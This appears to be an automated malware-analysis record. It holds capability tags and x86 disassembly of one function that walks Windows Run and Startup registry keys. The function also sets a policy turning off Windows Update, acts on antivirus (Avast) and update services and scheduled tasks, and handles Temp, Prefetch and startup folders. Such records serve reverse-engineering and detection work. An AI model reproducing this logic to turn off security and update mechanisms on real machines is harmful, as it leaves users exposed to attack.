Function at 0x41c930
Capabilities:
Get common file path
Get startup folder
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x465074]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.0041a7e0
mov eax, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionRun]
push eax
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov ecx, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionStartup]
push ecx
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov edx, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce]
push edx
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov eax, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx]
push eax
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov ecx, dword [0x44b6b8]
push ecx
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov edx, dword [0x44b72c]
push edx
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov eax, dword [0x44b854]
push eax
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov ecx, dword [0x44b934]
push ecx
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov edx, dword [0x44ba0c]
push edx
push reloc.d2d1.dll_Ordinal_1
call fcn.00409020
add esp, 8
mov eax, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionRun]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov ecx, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionStartup]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov edx, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov eax, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov ecx, dword [0x44b6b8]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov edx, dword [0x44b72c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov eax, dword [0x44b854]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov ecx, dword [0x44b934]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov edx, dword [0x44ba0c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov eax, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov ecx, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionStartup]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov edx, dword [0x44bd4c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov eax, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceEx]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov ecx, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunServices]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov edx, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceSetup]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov eax, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunServices]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov ecx, dword [str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersionWindowsload]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
mov edx, dword [str.SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionPoliciesExplorerRun]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00409020
add esp, 8
push 0
push 0
push 1
push str.NoAutoUpdate
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0041bd10
add esp, 0x18
push 0
push 0
push 1
push str.DisableAcrylicBackgroundOnLogon
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0041bd10
add esp, 0x18
call fcn.0041a7e0
push str.AMD_External_Events_Utility
call fcn.004099d0
add esp, 4
push str.apple_mobile_device
call fcn.004099d0
add esp, 4
push str.AudioSvr
call fcn.004099d0
add esp, 4
push str.HWDeviceService64.exe
call fcn.004099d0
add esp, 4
push str.iPodService
call fcn.004099d0
add esp, 4
push str.mbbService.exe
call fcn.004099d0
add esp, 4
push str.Internet_Movel
call fcn.004099d0
add esp, 4
push str.JavaQuickStarterService
call fcn.004099d0
add esp, 4
push 0x44b500
call fcn.004099d0
add esp, 4
push str.adobeupdateservice
call fcn.004099d0
add esp, 4
push str.AvastSvc
call fcn.004099d0
add esp, 4
push str.avastUI
call fcn.004099d0
add esp, 4
push str.afwServ
call fcn.004099d0
add esp, 4
push str.aswbIDSAgent
call fcn.004099d0
add esp, 4
push 0x44b81c
call fcn.004099d0
add esp, 4
push str.dmwappush
call fcn.004099d0
add esp, 4
push 0x44b92c
call fcn.004099d0
add esp, 4
push str.gupdate
call fcn.004099d0
add esp, 4
push str.gupdatem
call fcn.004099d0
add esp, 4
push str.vmickvpexchange
call fcn.004099d0
add esp, 4
push str.vmicguestinterface
call fcn.004099d0
add esp, 4
push str.vmicshutdown
call fcn.004099d0
add esp, 4
push str.vmicheartbeat
call fcn.004099d0
add esp, 4
push str.vmicvmsession
call fcn.004099d0
add esp, 4
push str.vmicrdv
call fcn.004099d0
add esp, 4
push str.vmicvss
call fcn.004099d0
add esp, 4
push str.vmictimesync
call fcn.004099d0
add esp, 4
push str.MozillaMaintenance
call fcn.004099d0
add esp, 4
push str.ose64
call fcn.004099d0
add esp, 4
push str.NVDisplay.ContainerLocalSystem
call fcn.004099d0
add esp, 4
push str.NvTelemetryContainer
call fcn.004099d0
add esp, 4
push 0x44c0ec
call fcn.004099d0
add esp, 4
push str.SDRSVC
call fcn.004099d0
add esp, 4
push str.RmSvc
call fcn.004099d0
add esp, 4
push str.ss_conn_service
call fcn.004099d0
add esp, 4
push str.wuauserv
call fcn.004099d0
add esp, 4
push str.WMPNetworkSvc
call fcn.004099d0
add esp, 4
push str.WerSvc
call fcn.004099d0
add esp, 4
push str.WalletService
call fcn.004099d0
add esp, 4
push str.W32Time
call fcn.004099d0
add esp, 4
push str.wampapache
call fcn.004099d0
add esp, 4
push str.tzautoupdate
call fcn.004099d0
add esp, 4
push str.dmwappushservice
call fcn.004099d0
add esp, 4
push str.XblAuthManager
call fcn.004099d0
add esp, 4
push str.XblGameSave
call fcn.004099d0
add esp, 4
push str.XboxNetApiSvc
call fcn.004099d0
add esp, 4
push str.AGSService
call fcn.004099d0
add esp, 4
push str.AdobeARMservice
call fcn.004099d0
add esp, 4
push str.WaaSMedicSvc
call fcn.004099d0
add esp, 4
call fcn.0041a7e0
push str._smadav
call fcn.00409650
add esp, 4
push str.DRPNPS
call fcn.00409650
add esp, 4
push str.HardDiskSentinel
call fcn.00409650
add esp, 4
push str.MicrosoftOffice
call fcn.00409650
add esp, 4
push str.MicrosoftXblGameSave
call fcn.00409650
add esp, 4
push str.MicrosoftVisualStudio
call fcn.00409650
add esp, 4
push str.MicrosoftWindowsMaps
call fcn.00409650
add esp, 4
push str.AppleAppleSoftwareUpdate
call fcn.00409650
add esp, 4
push str.MicrosoftWindowsAutochk
call fcn.00409650
add esp, 4
push str.Avast_Driver_Updater_Startup
call fcn.00409650
add esp, 4
push str.MicrosoftWindowsNetTrace
call fcn.00409650
add esp, 4
push 0x44cb90
call fcn.00409650
add esp, 4
push str.OfficeSoftwareProtectionPlatform
call fcn.00409650
add esp, 4
push str.MicrosoftWindowsWindowsUpdate
call fcn.00409650
add esp, 4
push str.Opera_scheduled_Autoupdate_1544168172
call fcn.00409650
add esp, 4
push str.SafeZone_scheduled_Autoupdate_1512471150
call fcn.00409650
add esp, 4
push str.MicrosoftWindowsWindows_Media_Sharing
call fcn.00409650
add esp, 4
push str.MicrosoftWindowsWindows_Error_Reporting
call fcn.00409650
add esp, 4
mov ax, word [0x44cd6c]
mov word [ebp - 0x204], ax
push 0xfe
push 0
lea ecx, [ebp - 0x202]
push ecx
call fcn.0042d590
add esp, 0xc
mov dx, word [0x44cdcc]
mov word [ebp - 0x304], dx
push 0xfe
push 0
lea eax, [ebp - 0x302]
push eax
call fcn.0042d590
add esp, 0xc
mov cx, word [0x44cea8]
mov word [ebp - 0x404], cx
push 0xfe
push 0
lea edx, [ebp - 0x402]
push edx
call fcn.0042d590
add esp, 0xc
mov ax, word [0x44ceac]
mov word [ebp - 0x104], ax
push 0xfe
push 0
lea ecx, [ebp - 0x102]
push ecx
call fcn.0042d590
add esp, 0xc
lea edx, [ebp - 0x204]
push edx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x44ceb0
lea eax, [ebp - 0x204]
push eax
call fcn.0042faf2
add esp, 8
lea ecx, [ebp - 0x204]
push ecx
call fcn.0040d580
add esp, 4
cmp eax, 0x2bb
jne 0x41cfe2
lea edx, [ebp - 0x204]
push edx
call fcn.00407cd0
add esp, 4
lea eax, [ebp - 0x304]
push eax
push 0
push 0
push 0x24
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Temp
lea ecx, [ebp - 0x304]
push ecx
call fcn.0042faf2
add esp, 8
lea edx, [ebp - 0x304]
push edx
call fcn.0040d580
add esp, 4
cmp eax, 0x2bb
jne 0x41d030
lea eax, [ebp - 0x304]
push eax
call fcn.00407cd0
add esp, 4
lea ecx, [ebp - 0x408]
push ecx
push 0x18
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040d580
add esp, 4
cmp eax, 0x2bb
jne 0x41d07a
lea edx, [ebp - 0x104]
push edx
call fcn.00407cd0
add esp, 4
lea eax, [ebp - 0x408]
push eax
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea eax, [ebp - 0x104]
push eax
call fcn.0040d580
add esp, 4
cmp eax, 0x2bb
jne 0x41d0c4
lea ecx, [ebp - 0x104]
push ecx
call fcn.00407cd0
add esp, 4
lea edx, [ebp - 0x40c]
push edx
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 0x408]
push eax
mov ecx, dword [ebp - 0x40c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x40c]
push eax
mov ecx, dword [edx + 0x14]
call ecx
mov edx, dword [ebp - 0x40c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x40c]
push ecx
mov edx, dword [eax + 8]
call edx
lea eax, [ebp - 0x404]
push eax
push 0
push 0
push 0x24
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Prefetch
lea ecx, [ebp - 0x404]
push ecx
call fcn.0042faf2
add esp, 8
lea edx, [ebp - 0x404]
push edx
call fcn.0040d580
add esp, 4
cmp eax, 0x2bb
jne 0x41d14e
lea eax, [ebp - 0x404]
push eax
call fcn.00407cd0
add esp, 4
call fcn.0041a7e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2fe
mov esp, ebp
pop ebp
ret